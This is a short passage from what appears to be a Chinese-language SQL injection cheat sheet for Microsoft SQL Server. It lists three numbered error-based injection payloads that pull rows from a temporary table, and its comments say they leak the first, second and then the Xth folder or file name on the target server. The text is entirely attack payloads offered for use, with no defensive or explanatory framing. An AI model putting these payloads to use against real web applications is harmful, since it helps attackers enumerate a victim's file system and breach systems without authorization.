3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称